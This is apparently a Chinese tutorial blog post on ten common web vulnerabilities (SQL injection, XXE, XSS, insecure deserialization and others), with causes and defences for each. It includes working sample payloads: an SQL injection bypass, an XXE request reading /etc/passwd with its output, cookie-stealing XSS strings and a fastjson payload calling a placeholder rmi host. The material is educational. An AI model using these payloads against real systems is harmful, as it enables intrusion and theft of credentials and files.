常见十大攻击漏洞(top10)

常见十大攻击漏洞

1.SQL注入

攻击方式
利用应用程序弱点,通过恶意字符将恶意代码写入数据库,获取敏感数据或进一步在服务器执行命令。
漏洞原因
未审计的数据输入框
使用网址直接传递变量
未过滤的特殊字符
SQL 错误回显
漏洞影响
获取敏感数据或进一步在服务器执行命令接管服务器
SQL 注入
注入有很多类型,常见的注入包括:编码注入,UA注入,cookie注入,堆叠注入,二次注入,延迟注入,报错注入。对于最常见的SQL注入,后端开发人员经常会拼接 SQL 查询;在不经意间就引入了 SQL 注入漏洞。
一个例子
select * from users where pwd='输入字符'


-- 恶意代绕过 ' and length(database())=1 --'
select * from uses where pwd = '' and length(database())=1 --

TDP案例:
攻击者:	
10.88.104.130

SQL 注入防护:
关闭 SQL 错误回显
前端输入字符白名单验证(长度、类型等)
对输入的特殊字符使用转义处理
SQL 操作使用 PreParedStatement
SQL 服务运行于专门的账号,并且使用最小权限
限制 SQL 服务的远程访问,只开放给特定开发人员
代码审计,最有效的检测应用程序的注入风险的方法之一
使用成熟的 waf

2.失效的身份认证

攻击方式
攻击者利用网站应用程序中的身份认证缺陷获取高权限并进行攻击应用服务
漏洞原因
应用程序身份认证系统认证缺陷
漏洞影响
盗用账号与身份
常见设计缺陷
修改利用网络协议数据包获取使用者账号密码
网站设计不良,可直接绕过验证页面
使用者忘记注销,而让攻击者有可趁之机
弱密码
弱密码攻击
身份认证非常容易受到弱密码攻击,常用的弱密码攻击方式有
常用密码攻击 - 使用泄露的密码字典攻击
使用公司名称缩写、域名、电话号码
全数字、英文的简单密码
账号与密码相同的
不同网站、电脑、APP 使用了相同的密码

漏洞防护:
网站的登录页面就使用加密连接
网站应该具体良好的权限控制与管理
网站应该具备超时注销机制

3.敏感数据泄露

攻击方式
常见的攻击方式主要是扫描应用程序获取到敏感数据
漏洞原因
应用维护或者开发人员无意间上传敏感数据,如 github 文件泄露
敏感数据文件的权限设置错误,如网站目录下的数据库备份文件泄露
网络协议、算法本身的弱点,如 telent、ftp、md5 等
漏洞影响
应用程序、网站被修改
个人资料、公司资料泄露,被用于售卖获利

漏洞防护:
对于 github 泄露,定期对仓库扫描
对于应用网站目录定期扫描
使用强壮的网络协议与算法

4.XML 外部实体漏洞

攻击方式
当应用程序解析 XML文件时包含了对外部实体的引用,攻击者传递恶意包含 XML 代码的文件,读取指定的服务器资源。
漏洞原因
XML 协议文档本身的设计特性,可以引入外部的资源;定义 XML 文件时使用的外部实体引入功能
漏洞影响
读取服务器敏感资料,如、 /etc/password
读取应用程序源码
漏洞防护
关闭 DTD (Data Type Definition)
禁止外部实体引入

XML注入正常数据包

POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>XML is the best!</description>
   </core>
</catalog>

存在XML注入数据包

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

返回包:
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

5.无效的访问控制

攻击方式
没有检查身份,直接导致攻击者绕过权限直接访问
漏洞原因
漏洞影响
绕过路径,如未读取的参数做检查,导致路径绕过读取到敏感文件
权限提升,如未对权限做检查,导致攻击者变更权限
垂直越权,攻击者可以从普通的用户权限提升到管理员的权限访问应用程序
水平越权,攻击者可以从普通用户A的权限提升到普通用户B的权限访问应用程序

APT案例:
10.218.7.11 (Nacos未授权任意用户创建)

6.安全配置错误

攻击方式
攻击者利用错误配置攻击,获取敏感数据或者提升权限
漏洞原因
开发或者维护人员设置了错误的配置,如 JAVA 开发中对于 Spring boot 框架在生产环境Actuator组件配置不当
漏洞影响
可让攻击者获取到敏感数据
可让攻击者提升权限,如未修改应用程序配置的默认密码,未删除应用程序安装程序目录文件等

7.跨站脚本攻击

攻击方式
攻击者使用恶意字符嵌入应用程序代码中并运行,盗取应用程序数据
常见攻击 payload
><script>alert(document.cookie)</script>='><script>alert(document.cookie)</script>"><script>alert(document.cookie)</script><script>alert(document.cookie)</script><script>alert (vulnerable)</script>%3Cscript%3Ealert('XSS')%3C/script%3E<script>alert('XSS')</script><img src="javascript:alert('XSS')"><img src=" http://888.888.com/999.png" οnerrοr="alert('XSS')"><div style="height:expression(alert('XSS'),1)"></div>(这个仅于IE7(含)之前有效)

漏洞原因
应用程序未对应用输入做过滤与检查,导致用户数据被当作代码执行。
漏洞影响
欺骗使用者点击嵌入了恶意网站的正常网站,获取使用得的敏感数据
盗取使用者 cookie,冒用使用者身份

8.不安全的反序列化漏洞

攻击方式
攻击者利用应用程序反序列化功能,反序列化恶意对象攻击应用程序。
漏洞原因:
程序在进行反序列化时会调用一些函数,比如常见的PHP 反序列化函数 unserialize()以及一些常见的魔术方法,比如构造函数_construct(),析构函数destruct() ,_wakeup(),toString(0) ,sleep0等等。如果这些函数在传递参数时没有进行严格的过滤措施,那么攻击者就可以构造恶意代码并将其序列化后传入函数中,从而导致反序列化漏洞。

漏洞影响
最严重情况下,可导致远程代码执行 RCE
注入攻击
越权
特征:会出现远程调用操作,流量中存在rmi,ldap关键字,常见payload:
{"@type":"com.sun.rowset.JdbcRowsetImpl", "dataSourceName":"rmi://xxx.xxx.xxx/xxx.class", "autoCommit": "true"}

9.使用含有已知漏洞的组件

攻击方式
利用应用程序技术栈中的框架、库、工具等的已知漏洞进行攻击,获取高权限或者敏感数据
漏洞原因
应用程序技术栈中使用的框架、库、工具爆出了漏洞,应用程序未能及时更新与修复
漏洞影响
敏感数据泄露
提升权限
远程代码执行

漏洞防护:
及时更新、修复组件漏洞
移除不再使用的依赖组件

10.日志记录和监控不足导致的风险

漏洞原因
对于日志记录的监控不足,造成攻击者攻击系统、应用、盗取数据等操作无法被发现和追查。
漏洞影响
无法判断安全事件的发生
无法判断和修复漏洞
导致再次被入侵

漏洞防护:
启用日志监控、告警机制
启用异地监控,C/S架构的监制机制
尽可能的完整记录所有日志
  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1. SQL注入漏洞(SQL Injection):攻击者通过构造恶意的SQL语句,从而绕过身份认证和访问控制等限制,进而获取敏感信息或者执行非法操作。 2. 跨站脚本攻击(Cross-site Scripting,XSS):攻击者通过在受害者的浏览器中注入脚本,从而获取敏感信息、劫持用户会话或者执行其他恶意操作。 3. 跨站请求伪造(Cross-site Request Forgery,CSRF):攻击者通过伪造合法用户的请求,从而实现对目标网站的攻击,例如修改用户信息、进行非法转账等。 4. 文件包含漏洞(File Inclusion):攻击者通过在目标网站上构造特定的URL,使得服务器将包含敏感信息的文件或者恶意脚本加载到页面中。 5. 未经授权访问漏洞(Unauthorized Access):攻击者通过利用系统漏洞或者密码猜测等方式,从而获取未经授权的访问权限,例如管理员账号等。 6. 敏感信息泄露漏洞(Sensitive Information Disclosure):系统在异常情况下泄露敏感信息,例如配置文件、日志文件等。 7. 命令注入漏洞(Command Injection):攻击者通过构造恶意的命令,从而在服务器上执行非法操作,例如删除文件、获取敏感信息等。 8. 任意文件上传漏洞(Arbitrary File Upload):攻击者通过上传恶意文件,从而执行非法操作,例如获取敏感信息、执行系统命令等。 9. 逻辑漏洞(Logic Flaw):指系统中存在设计缺陷或者逻辑错误,从而导致安全漏洞的出现。 10. 密码破解漏洞(Password Cracking):攻击者通过暴力破解、社会工程学等方式,从而获取用户密码,进而实现对系统的攻击

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值